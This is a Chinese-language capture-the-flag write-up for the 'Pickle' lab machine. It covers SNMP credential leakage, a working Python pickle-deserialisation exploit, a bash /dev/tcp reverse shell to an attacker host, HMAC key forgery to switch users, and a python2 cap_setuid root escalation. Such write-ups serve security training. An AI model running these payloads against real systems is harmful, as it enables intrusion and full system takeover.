文章

Pickle

Pickle

image-20240912141043011

image-20240912155527327

信息搜集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali💀kali)-[~/temp/Pickle]
└─$ rustscan -a $IP -- -sCV     
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.10.105:21
Open 192.168.10.105:1337

PORT     STATE SERVICE REASON  VERSION
21/tcp   open  ftp     syn-ack vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.10.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
1337/tcp open  http    syn-ack Werkzeug httpd 1.0.1 (Python 2.7.16)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Pickle login
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix

漏洞发现

敏感端口测试

查看一下ftp服务内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(kali💀kali)-[~/temp/Pickle]
└─$ ftp $IP
Connected to 192.168.10.105.
220 (vsFTPd 3.0.3)
Name (192.168.10.105:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||6295|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31148|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************************************************************************************************|  1306       32.87 KiB/s    00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (31.28 KiB/s)
ftp> exit
221 Goodbye.

┌──(kali💀kali)-[~/temp/Pickle]
└─$ cat init.py.bak 
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

@app.route('/', methods=["GET", "POST"])
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
def reset_page():
        '''
                __reset_page__()
        '''
        pass


@app.route('/checklist', methods=["GET", "POST"])
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)

踩点,发现存在验证:

image-20240912155957278

没有其他的办法,尝试爆破,但是未果。

UDP服务扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo nmap -sU -top 100 $IP  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 04:01 EDT
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 04:04 (0:00:00 remaining)
Nmap scan report for 192.168.10.105
Host is up (0.00089s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
161/udp  open          snmp
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:C5:BC:73 (Oracle VirtualBox virtual NIC)

检查一下snmp服务,查看一下有啥命令:https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#enumerating-snmp

尝试检索一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v X -c public $IP                                        
Invalid version specified after -v flag: X
USAGE: snmpwalk [OPTIONS] AGENT [OID]

  Version:  5.9.4.pre2
  Web:      http://www.net-snmp.org/
  Email:    net-snmp-coders@lists.sourceforge.net

OPTIONS:
  -h, --help            display this help message
  -H                    display configuration file directives understood
  -v 1|2c|3             specifies SNMP version to use
  -V, --version         display package version number
SNMP Version 1 or 2c specific
  -c COMMUNITY          set the community string
SNMP Version 3 specific
  -a PROTOCOL           set authentication protocol (MD5|SHA|SHA-224|SHA-256|SHA-384|SHA-512)
  -A PASSPHRASE         set authentication protocol pass phrase
  -e ENGINE-ID          set security engine ID (e.g. 800000020109840301)
  -E ENGINE-ID          set context engine ID (e.g. 800000020109840301)
  -l LEVEL              set security level (noAuthNoPriv|authNoPriv|authPriv)
  -n CONTEXT            set context name (e.g. bridge1)
  -u USER-NAME          set security name (e.g. bert)
  -x PROTOCOL           set privacy protocol (DES|AES|AES-192|AES-256)
  -X PASSPHRASE         set privacy protocol pass phrase
  -Z BOOTS,TIME         set destination engine boots/time
General communication options
  -r RETRIES            set the number of retries
  -t TIMEOUT            set the request timeout (in seconds)
Debugging
  -d                    dump input/output packets in hexadecimal
  -D[TOKEN[,...]]       turn on debugging output for the specified TOKENs
                           (ALL gives extremely verbose debugging output)
General options
  -m MIB[:...]          load given list of MIBs (ALL loads everything)
  -M DIR[:...]          look in given list of directories for MIBs
    (default: $HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf)
  -P MIBOPTS            Toggle various defaults controlling MIB parsing:
                          u:  allow the use of underlines in MIB symbols
                          c:  disallow the use of "--" to terminate comments
                          d:  save the DESCRIPTIONs of the MIB objects
                          e:  disable errors when MIB symbols conflict
                          w:  enable warnings when MIB symbols conflict
                          W:  enable detailed warnings when MIB symbols conflict
                          R:  replace MIB symbols from latest module
  -O OUTOPTS            Toggle various defaults controlling output display:
                          0:  print leading 0 for single-digit hex characters
                          a:  print all strings in ascii format
                          b:  do not break OID indexes down
                          e:  print enums numerically
                          E:  escape quotes in string indices
                          f:  print full OIDs on output
                          n:  print OIDs numerically
                          p PRECISION:  display floating point values with specified PRECISION (printf format string)
                          q:  quick print for easier parsing
                          Q:  quick print with equal-signs
                          s:  print only last symbolic element of OID
                          S:  print MIB module-id plus last element
                          t:  print timeticks unparsed as numeric integers
                          T:  print human-readable text along with hex strings
                          u:  print OIDs using UCD-style prefix suppression
                          U:  don't print units
                          v:  print values only (not OID = value)
                          x:  print all strings in hex format
                          X:  extended index format
  -I INOPTS             Toggle various defaults controlling input parsing:
                          b:  do best/regex matching to find a MIB node
                          h:  don't apply DISPLAY-HINTs
                          r:  do not check values for range/type legality
                          R:  do random access to OID labels
                          u:  top-level OIDs must have '.' prefix (UCD-style)
                          s SUFFIX:  Append all textual OIDs with SUFFIX before parsing
                          S PREFIX:  Prepend all textual OIDs with PREFIX before parsing
  -L LOGOPTS            Toggle various defaults controlling logging:
                          e:           log to standard error
                          o:           log to standard output
                          n:           don't log at all
                          f file:      log to the specified file
                          s facility:  log to syslog (via the specified facility)

                          (variants)
                          [EON] pri:   log to standard error, output or /dev/null for level 'pri' and above
                          [EON] p1-p2: log to standard error, output or /dev/null for levels 'p1' to 'p2'
                          [FS] pri token:    log to file/syslog for level 'pri' and above
                          [FS] p1-p2 token:  log to file/syslog for levels 'p1' to 'p2'
  -C APPOPTS            Set various application specific behaviours:
                          p:  print the number of variables found
                          i:  include given OID in the search range
                          I:  don't include the given OID, even if no results are returned
                          c:  do not check returned OIDs are increasing
                          t:  Display wall-clock time to complete the walk
                          T:  Display wall-clock time to complete each request
                          E {OID}:  End the walk at the specified OID
                                                                                                                                                                                             
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v 1 -c public $IP 
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (121922) 0:20:19.22
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (122955) 0:20:29.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 09 0C 04 0E 02 00 2D 04 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.19.0-11-amd64 root=UUID=1612bec5-c369-4a38-a5d9-61c9328c9afa ro quiet
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 68
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

找到一组密钥:

1
2
lucas
SuperSecretPassword123!

当成账号密码发现可以登录1337端口:

image-20240912161537797

路由分析

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

@app.route('/', methods=["GET", "POST"])
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:   
        # 检查 POST 数据中中的 `story` 和 `submit` 两个变量
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                # md5 加密 story 的数据
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])
                # 记录日志信息

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
def reset_page():
        '''
                __reset_page__()
        '''
        pass


@app.route('/checklist', methods=["GET", "POST"])
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                # 如果 p1 字段存在,则反序列化
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)

存在三组路由:

  • /
  • /reset
  • /checklist

多的不解释了,这个逻辑看起来不难,尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02"
..........
<!--

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2464, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2450, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1867, in handle_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2447, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1821, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1936, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/opt/project/project.py", line 30, in decorated
    return f(*args, **kwargs)
  File "/opt/project/project.py", line 39, in index_page
    if request.method == "POST" and request.form["story"] and request.form["submit"]:
  File "/usr/local/lib/python2.7/dist-packages/werkzeug/datastructures.py", line 442, in __getitem__
    raise exceptions.BadRequestKeyError(key)
BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'submit'

-->

┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02&submit=%E6%8F%90%E4%BA%A4"
The message was sent successfully!

┌──(kali💀kali)-[~/temp/Pickle]
└─$ echo -n 'hgbe02' | md5sum                                                                                         
105abaedc26fb12d3fd5440a6ea8e27c  -

┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/checklist -d "check=105abaedc26fb12d3fd5440a6ea8e27c" 
hgbe02

通过报错,发现python版本为python2.7,同时也可以使用md5找到文件!

pickle利用

尝试进行反序列化利用,这里直接引用别的师傅写好的脚本辣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding:utf-8
import os
import cPickle
import hashlib
import requests


class CommandExecute(object):
        def __reduce__(self):
                return (os.system, ('ping -c 1 192.168.10.102',))

convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.10.105:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.10.105:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)

多次运行发现可以ping成功!

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali💀kali)-[~/temp/Pickle]
└─$ python2 exp.py 2>/dev/null
0

┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo tcpdump -i eth1 icmp                    
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
05:20:44.205898 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 491, seq 1, length 64
05:20:44.205941 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 491, seq 1, length 64
05:21:08.452970 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 495, seq 1, length 64
05:21:08.452988 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 495, seq 1, length 64

修改相关命令,反弹shell!

1
bash -c "exec bash -i &>/dev/tcp/192.168.10.102/1234 <&1"

image-20240912172902329

提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
(remote) lucas@pickle:/home/lucas$ whoami;id
lucas
uid=1000(lucas) gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
(remote) lucas@pickle:/home/lucas$ ls -la
total 32
drwxr-xr-x 3 lucas lucas 4096 Oct 11  2020 .
drwxr-xr-x 4 root  root  4096 Oct 12  2020 ..
-rw------- 1 lucas lucas    1 Oct 12  2020 .bash_history
-rw-r--r-- 1 lucas lucas  220 Oct 11  2020 .bash_logout
-rw-r--r-- 1 lucas lucas 3526 Oct 11  2020 .bashrc
drwxr-xr-x 3 lucas lucas 4096 Oct 11  2020 .local
-rw-r--r-- 1 lucas lucas  807 Oct 11  2020 .profile
-rw-r--r-- 1 lucas lucas   66 Oct 11  2020 .selected_editor
(remote) lucas@pickle:/home/lucas$ sudo -l
bash: sudo: command not found
(remote) lucas@pickle:/home/lucas$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
(remote) lucas@pickle:/home/lucas$ cd /opt
(remote) lucas@pickle:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Oct 11  2020 .
drwxr-xr-x 18 root root 4096 Oct 11  2020 ..
drwxr-xr-x  5 root root 4096 Oct 12  2020 project
(remote) lucas@pickle:/opt$ cd project/
(remote) lucas@pickle:/opt/project$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Oct 12  2020 .
drwxr-xr-x 3 root root 4096 Oct 11  2020 ..
-rwxr-xr-x 1 root root 2654 Oct 12  2020 project.py
drwxr-xr-x 4 root root 4096 Oct 11  2020 static
drwxr-xr-x 2 root root 4096 Oct 11  2020 templates
drwxrwxrwx 2 root root 4096 Sep 12 05:28 uploads
(remote) lucas@pickle:/opt/project$ cat project.py 
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

def check_auth(username, password):
       """This function is called to check if a username /
       password combination is valid.
       """
       return username == 'lucas' and password == 'SuperSecretPassword123!'

def authenticate():
       """Sends a 401 response that enables basic auth"""
       return Response(
       'Could not verify your access level for that URL.\n'
       'You have to login with proper credentials', 401,
       {'WWW-Authenticate': 'Basic realm="Pickle login"'})

def requires_auth(f):
       @wraps(f)
       def decorated(*args, **kwargs):
           auth = request.authorization
           if not auth or not check_auth(auth.username, auth.password):
               return authenticate()
           return f(*args, **kwargs)
       return decorated

@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
        '''
                __reset_page__()
        '''
        if request.method == "POST" and request.form["username"] and request.form["key"]:
                key    = "dpff43f3p214k31301"
                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
                hashed = hmac.new(key, raw, hashlib.sha1)
                if request.form["key"] == hashed.hexdigest():
                        return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
        else:
                return "Server Error!"
        return render_template("reset.html")


@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

@app.route('/console')
@requires_auth
def secret_page():
        return "Server Error!"

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)
(remote) lucas@pickle:/opt/project$ cd uploads
(remote) lucas@pickle:/opt/project/uploads$ ls -la
total 28
drwxrwxrwx 2 root  root  4096 Sep 12 05:28 .
drwxr-xr-x 5 root  root  4096 Oct 12  2020 ..
-rw-r--r-- 1 lucas lucas    6 Sep 12 04:32 105abaedc26fb12d3fd5440a6ea8e27c.log
-rw-r--r-- 1 lucas lucas   58 Sep 12 05:21 110207bbd89a69ddcf2b2aebb3b380d5.log
-rw-r--r-- 1 lucas lucas   91 Sep 12 05:28 8c809790306c09de2a350426a25d7de3.log
-rw-r--r-- 1 lucas lucas    4 Sep 12 04:24 b59c67bf196a4758191e42f76670ceba.log
-rw-r--r-- 1 lucas lucas    9 Sep 12 04:24 bbb8aae57c104cda40c93843ad5e6db8.log
(remote) lucas@pickle:/opt/project/uploads$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
mark:x:1001:1001::/home/mark:/bin/bash

利用

尝试使用脚本进行利用:

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
import socket
import base64
import hmac

user=['lucas', 'mark']
for i in user:
    key = "dpff43f3p214k31301"
    raw = i + key + socket.gethostbyname(socket.gethostname())
    hashed = hmac.new(key, raw, hashlib.sha1)
    print("[+] USER:",i)
    print(base64.b64encode(hashed.digest().encode("base64").rstrip("\n")))

尝试运行:

1
2
3
4
5
6
7
(remote) lucas@pickle:/opt/project/uploads$ cd /tmp
(remote) lucas@pickle:/tmp$ nano exp.py&&chmod +x exp.py
(remote) lucas@pickle:/tmp$ python2 exp.py 
('[+] USER:', 'lucas')
YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ==
('[+] USER:', 'mark')
SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==

尝试修改密码以及切换用户:

1
2
3
4
5
6
7
8
9
10
11
(remote) lucas@pickle:/tmp$ passwd lucas
Changing password for lucas.
Current password: 
New password: 
# lucas
Retype new password: 
You must choose a longer password
New password: 
Retype new password: 
passwd: password updated successfully
# lucas123456

image-20240912174009181

python的capabilities权限提权root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mark@pickle:~$ ls -la
total 3640
drwxr-x--- 4 mark mark    4096 Oct 12  2020 .
drwxr-xr-x 4 root root    4096 Oct 12  2020 ..
-rw------- 1 mark mark       1 Oct 12  2020 .bash_history
-rw-r--r-- 1 mark mark     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 mark mark    3526 Apr 18  2019 .bashrc
drwx------ 3 mark mark    4096 Oct 12  2020 .gnupg
drwxr-xr-x 3 mark mark    4096 Oct 11  2020 .local
-rw-r--r-- 1 mark mark     807 Apr 18  2019 .profile
-rwxr-xr-x 1 root root 3689352 Oct 11  2020 python2
-rw-r----- 1 mark mark      33 Oct 11  2020 user.txt
mark@pickle:~$ cat user.txt 
e25fd1b9248d1786551e3412adc74f6f
mark@pickle:~$ whereis python2
python2: /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python2 /usr/lib/python2.7 /etc/python2.7 /usr/local/lib/python2.7 /usr/include/python2.7 /usr/share/man/man1/python2.1.gz
mark@pickle:~$ ls -la /usr/bin/python2.7
-rwxr-xr-x 1 root root 3689352 Oct 10  2019 /usr/bin/python2.7
mark@pickle:~$ ls -la /usr/bin/python2
lrwxrwxrwx 1 root root 9 Mar  4  2019 /usr/bin/python2 -> python2.7
mark@pickle:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
mark@pickle:~$ /usr/sbin/getcap -r / 2>/dev/null
mark@pickle:~$ whereis getcap
getcap: /usr/bin/getcap /usr/share/man/man8/getcap.8.gz
mark@pickle:~$ /usr/bin/getcap -r / 2>/dev/null
/home/mark/python2 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep

尝试进行提权:https://gtfobins.github.io/gtfobins/python/#capabilities

image-20240912174544462

1
mark@pickle:~$ /home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'

image-20240912174617982

参考

https://drive.google.com/file/d/14qAw3wP1dKjuXlpfLfbkvaxVcqS2Uk7d/view?usp=sharing

https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/HackMyVM/Machines/Pickle/

https://www.bilibili.com/video/BV1vcYyeoEsK/

本文由作者按照 CC BY 4.0 进行授权